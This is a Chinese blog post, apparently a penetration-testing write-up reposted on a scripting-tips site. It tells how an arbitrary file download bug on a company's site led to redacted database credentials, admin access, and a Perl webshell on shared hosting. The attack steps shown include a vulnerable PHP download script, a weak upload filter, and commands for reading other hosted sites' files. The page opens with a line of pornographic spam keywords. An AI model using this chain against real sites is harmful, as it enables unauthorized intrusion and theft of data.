欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

某集團任意文件下載到虛擬主機getshell的方法

 更新時間:2017年01月21日 16:46:08   作者:1975  
這篇文章主要介紹了某集團任意文件下載到虛擬主機getshell的方法,非常不錯,具有參考借鑒價值,需要的朋友可以參考下

0x01 前言 

從某群的故事改編而來,都是些老套路各位看官看得高興就好;第一次在i春秋發(fā)帖有點緊張,如果有什么不周到的地方請去打死阿甫哥哥。你沒聽錯,阿甫哥哥推薦。

 0x02 什么是任意文件下載

  說到文件下載各位童鞋都不陌生(老司機請?zhí)^),我們要下載網站上某個文件(.zip、.doc、.pdf)直接請求這個文件即可格式一般為:域名+相對路徑+文件名,如http://www.test.com/downlad/test.zip。而在網站上下載文件一般分為兩種,一種就是剛才所說的直接請求某個文件,還有一種就是網站運營者提供了一個下載腳我們只需要請求:http://www.test.com/download.php?filename=test.zip(文件名)這樣的url也可以下載文件。

  眾所周知,我們請求一個網站上的腳本文件(這里以php為例)是不會被下載的,如:http://www.test.com/test.php。那任意文件下載是怎么造成的呢?這里就是上面說到的第二種情況了,網站運營者提供了http://www.test.com/download.php?filename=test.zip這樣一個連接本意是想訪問者下載test.zip文件,但是沒有做好安全措施導致任意文件下載。 舉個栗子:

  測試環(huán)境(phpstudy):windows7+php-5.5.38+apache

  一個任意文件下載腳本test.php,代碼如下:

<?phpif(empty($_GET['filename']))
{ 
echo 'i春秋任意文件下載測試~'."<br>請輸入需要下載的文件名";
}
else
{  
$filename = $_GET['filename'];  
$fileinfo = pathinfo($filename); 
header('Content-type: application/x-'.$fileinfo['extension']); 
header('Content-Disposition: attachment; filename='.$fileinfo[' name']);  
header('Content-Length: '.filesize($filename));  
readfile($filename); 
exit(); }
?>

  直接訪問該文件,文件并沒有被下載而是解析了其中的代碼   

在網站根目錄下新建一個文件夾inc并新建一個名為ichunqiu.php的文件   

現在來嘗試下載該文件,訪問:http://127.0.0.1/test/test.php?filename=/inc/ichunqiu.php成功下載該文件 

0x03 某集團任意文件下載

  之前挖某集團的漏洞時發(fā)現一個任意文件下載,兩個思路:①下載源碼審計-發(fā)現漏洞-利用;②下載數據庫文件-如果支持外聯-登錄后臺-嘗試getshell,這里我選擇了第二種。

  首先下載了index.php文件,代碼如下:

<?define('IN_W3CWEB',true);require(dirname(__FILE__) . '/include/global.php'); 
@header("Content-type: text/html; 
charset=utf-8"); 
InitGP(array("action","do","gid","id")); 
$smarty->assign("pagetag","about"); 
$smarty->assign("page ","index");
$lng=isset($_GET['lng']) && $_GET['lng']=='en'?'en':'cn';
$sql="select * from $table_article where channel='1' and cat_id in(38,39)
order by show_style desc,art_addtime desc limit 6 ";
if($array=$DB->GetAll($sql)){ 
//print_r($row);  $smarty->assign("article_index",$array); }//print_r($GLOBALS);/*seo*/$seo_    
=""; $seo_keywords  
=""; $seo_de ion 
=""; seo_print();//print_r($_COOKIE);
$smarty->assign("action",$action);
$tpl="cn/index.html";
$smarty->display($tpl);//print_r($GLOBALS);
?>

  第3行包含了/include/global.php文件,繼續(xù)下載global.php文件在第31-32行代碼發(fā)現包含了數據庫連接文件,如下:

<?php.../* 加載基本配置信息文件 */require(ROOT_PATH . 'data/config.php'); ...?>

  在config.php中找到數據庫連接信息:

<?php// data type$db_type = "mysqli";
// data host$db_host = "xx.xx.xx.com";
// data name$db_name = "dxxxm";
// data username$db_user = "dxxxm";
// data password$db_pass = 'cxxxp1xxx6'; 
$dsn1 = "$db_type://$db_user:$db_pass@$db_host/$db_name"; ...?>

  站庫分離,百度site:xx.com“廈xxx有限公司”  

  再訪問下http://www.xxx.com/這個域名,通過掃描微信后基本確認“xx集團”主站的數據庫是放在“xxx有限公司”的服務器上  

  繼續(xù),用navacat連接找到后臺用戶帳號密碼:

用戶名     密文         解密明文

axxxn        5xxx0

gxxxn        2xxxc        1xxxv 

0x04 虛擬主機getshell  

接著用gxxxn/1xxxv成功登錄某集團官網后臺:http://www.xxx.com/manage.php  

  在已發(fā)布文章里找了一處可以上傳圖片的,簡單測試了下phtml、php、php%20、php%00之類的后綴均不能繞過,只好只好下載相關文件看代碼。

<?php...//picfunction upload_pic($uploaddir, $uploadname, $uploadtype)
{ 
global $config; 
if($_FILES[$uploadname]["name"])
{     
$dir_file=$uploaddir;  
if(!file_exists($dir_file)){   
mkdir($dir_file , 0777);    
chmod($dir_file,0777);   
}   
$filename=explode(".",$_FILES[$uploadname]['name']);   
do{    
$filename[0] = date('YmdHis').$uploadtype;   
$uploadfile = $dir_file.implode(".",$filename);  
} while(file_exists($uploadfile)); 
if(strpos($uploadfile,"php")>0)
{  
return 'no php';  
}   
copy($_FILES[$uploadname]['tmp_name'], $uploadfile); 
} 
return str_replace($config['siteRoot'], "", $uploadfile); } ...?>

  strpos($uploadfile,"php")只過濾了php文件,陷入困境又去官網翻了翻突然注意到一處404仔細一看” 2.0.9 Perl”還支持perl腳本?于是在后臺找了一處上傳圖片的地方直接上傳perl腳本,結果還真成功getshell地址:http://www.xxx.com/AxxxT/axxxe/2xxxo.pl 支持perl的站,又漲姿勢了~   

查看日志文件發(fā)現大量網站記錄:cat /var/www/73scan.log也可以直接看web命令:ls /var/www/vhosts   

100+的網站,無意間getshell某公司的虛擬主機  

  任意讀取一網站目錄下的文件:cat /var/www/vhosts/0xxcom/httpdocs/index.php  

  雖然當前權限不能修改和寫入,但是可跨目錄讀文件而這些網站的數據庫又支持外聯,你懂的;

  本想試試臟牛提權,但怕給打死了就草草提交了

 0x05 總結

① 精簡下整個過程:任意文件下載-連接數據獲得帳號密碼-后臺上傳;

② 代碼這塊有點php基礎都能看懂,學個十天半個月就成;

③ 細心吧,看到錯誤信息才想到支持perl腳本,不過一般也只有l(wèi)inux才會有;

以上所述是小編給大家介紹的某集團任意文件下載到虛擬主機getshell的方法,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對腳本之家網站的支持!

相關文章

  • k8s中pod不停重啟問題定位原因與解決方法

    k8s中pod不停重啟問題定位原因與解決方法

    這篇文章主要給大家介紹了關于k8s中pod不停重啟問題定位原因與解決方法的相關資料,Kubernetes是一款高度可擴展、可靠的容器編排和管理系統(tǒng),它簡化了容器的部署、管理和自動化操作,需要的朋友可以參考下
    2023-08-08
  • Rainbond云原生部署開源社區(qū)Discourse的配置過程

    Rainbond云原生部署開源社區(qū)Discourse的配置過程

    這篇文章主要為大家介紹了Rainbond云原生部署開源社區(qū)Discourse配置過程,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2022-04-04
  • k8s跨服務調用入門到實戰(zhàn)示例詳解

    k8s跨服務調用入門到實戰(zhàn)示例詳解

    這篇文章主要為大家介紹了k8s跨服務調用入門到實戰(zhàn)示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-09-09
  • Harbor高可用配置及倉庫使用介紹

    Harbor高可用配置及倉庫使用介紹

    這篇文章主要為大家介紹了Harbor高可用配置及倉庫使用介紹,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2022-05-05
  • Rainbond云原生部署SpringCloud應用架構實踐

    Rainbond云原生部署SpringCloud應用架構實踐

    這篇文章主要為大家介紹了Rainbond云原生部署SpringCloud應用架構實踐,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2022-04-04
  • k8s設置非強一致反親和性示例

    k8s設置非強一致反親和性示例

    這篇文章主要為大家介紹了k8s設置非強一致反親和性示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-10-10
  • 一文詳解如何高效查看k8s日志

    一文詳解如何高效查看k8s日志

    K8S是kubernetes的縮寫,是為解決容器服務編排而生的,在運維K8S服務的過程中,經常會遇到各種報錯和診斷問題,那么我們一般怎么查看K8S組件的日志,這篇文章主要給大家介紹了關于如何高效查看k8s日志的相關資料,需要的朋友可以參考下
    2023-10-10
  • 在K8S中實現會話保持的兩種方案

    在K8S中實現會話保持的兩種方案

    這篇文章主要介紹了在K8S中實現會話保持的兩種方案,每種方案結合示例代碼給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下
    2023-03-03
  • k8s編排之StatefulSet知識點詳解一

    k8s編排之StatefulSet知識點詳解一

    這篇文章主要為大家介紹了k8s編排之StatefulSet知識點的部分詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-01-01
  • K8S?實用工具之合并多個kubeconfig實現詳解

    K8S?實用工具之合并多個kubeconfig實現詳解

    這篇文章主要為大家介紹了K8S?實用工具之合并多個kubeconfig實現詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2023-03-03

最新評論